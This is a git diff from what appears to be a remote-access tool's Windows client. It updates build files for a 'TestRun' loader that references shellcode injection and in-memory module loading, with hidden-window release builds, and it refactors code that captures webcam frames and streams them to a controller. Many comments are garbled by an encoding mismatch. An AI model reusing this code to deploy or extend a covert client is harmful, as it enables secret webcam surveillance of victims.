virtual ~CTalkManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg,
|
||||
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam);
|
||||
|
||||
static VOID OnInitDialog(HWND hDlg);
|
||||
static VOID OnDlgTimer(HWND hDlg);
|
||||
VOID OnInitDialog(HWND hDlg);
|
||||
VOID OnDlgTimer(HWND hDlg);
|
||||
|
||||
char g_Buffer[TALK_DLG_MAXLEN];
|
||||
UINT_PTR g_Event;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
|
||||
Binary file not shown.
@@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@@ -13,18 +13,19 @@
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||
<RootNamespace>TestRun</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
@@ -38,7 +39,14 @@
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
@@ -49,6 +57,7 @@
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -59,11 +68,14 @@
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<RemoteDebuggerCommand>C:\Users\win7\Desktop\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>C:\Users\win7\Desktop\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
||||
<DeploymentDirectory>C:\Users\win7\Desktop\Remoter</DeploymentDirectory>
|
||||
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
|
||||
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
||||
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
|
||||
172
client/TestRun_vs2015.vcxproj
Normal file
172
client/TestRun_vs2015.vcxproj
Normal file
@@ -0,0 +1,172 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||
<RootNamespace>TestRun</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>TestRun</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
<ClInclude Include="ShellcodeInj.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -11,7 +11,7 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
|
||||
@@ -20,39 +20,52 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
|
||||
m_fccHandler = 1129730893;
|
||||
|
||||
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CVideoManager *This = (CVideoManager *)lParam;
|
||||
static DWORD dwLastScreen = GetTickCount();
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) //ת<><D7AA>Initialize
|
||||
{
|
||||
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#elif USING_LZ4
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#else
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||
|
||||
This->WaitForDialogOpen();
|
||||
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
if ((GetTickCount() - dwLastScreen) < 150)
|
||||
Sleep(100);
|
||||
|
||||
dwLastScreen = GetTickCount();
|
||||
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD>
|
||||
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
Mprintf("SendScreen Span = %d ms\n", span);
|
||||
dwLastScreen = GetTickCount64();
|
||||
if(FALSE == This->SendNextScreen())
|
||||
break;
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
|
||||
This->Destroy();
|
||||
std::cout<<"CVideoManager WorkThread end\n";
|
||||
Mprintf("CVideoManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -60,20 +73,23 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
CVideoManager::~CVideoManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
|
||||
m_CapVideo.m_bExit = TRUE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
std::cout<<"CVideoManager ~CVideoManager \n";
|
||||
Mprintf("CVideoManager ~CVideoManager \n");
|
||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
if (lpBuffer)
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
std::cout<<"CVideoManager Destroy \n";
|
||||
m_bIsWorking = FALSE;
|
||||
Mprintf("CVideoManager Destroy \n");
|
||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
@@ -83,29 +99,28 @@ void CVideoManager::Destroy()
|
||||
|
||||
void CVideoManager::SendBitMapInfor()
|
||||
{
|
||||
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
LPBYTE szBuffer = new BYTE[dwBytesLength];
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
|
||||
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
delete [] szBuffer;
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
}
|
||||
|
||||
void CVideoManager::SendNextScreen()
|
||||
BOOL CVideoManager::SendNextScreen()
|
||||
{
|
||||
DWORD dwBmpImageSize=0;
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
int nHeadLen = 1 + 1 + 4;
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
||||
if(lpDIB == NULL)
|
||||
return FALSE;
|
||||
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
||||
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
const int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
||||
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
|
||||
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
|
||||
|
||||
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD>ォ<EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -113,15 +128,14 @@ void CVideoManager::SendNextScreen()
|
||||
if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
{
|
||||
int nCompressLen = 0;
|
||||
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
||||
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
|
||||
&nCompressLen, NULL);
|
||||
if (!nCompressLen)
|
||||
{
|
||||
// some thing error
|
||||
delete [] lpBuffer;
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㷢<EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
|
||||
@@ -137,7 +151,7 @@ void CVideoManager::SendNextScreen()
|
||||
|
||||
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
||||
|
||||
delete [] lpBuffer;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
@@ -149,7 +163,21 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
}
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
Mprintf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -16,25 +16,26 @@
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
CVideoManager(IOCPClient* ClientObject, int n) ;
|
||||
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
|
||||
virtual ~CVideoManager();
|
||||
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
void CVideoManager::SendBitMapInfor();
|
||||
void CVideoManager::SendNextScreen();
|
||||
static DWORD WorkThread(LPVOID lParam);
|
||||
void SendBitMapInfor();
|
||||
BOOL SendNextScreen();
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
|
||||
CCaptureVideo m_CapVideo;
|
||||
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL CVideoManager::Initialize();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
|
||||
DWORD m_fccHandler;
|
||||
bool m_bIsCompress;
|
||||
LPBYTE lpBuffer; // ץͼ<D7A5><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
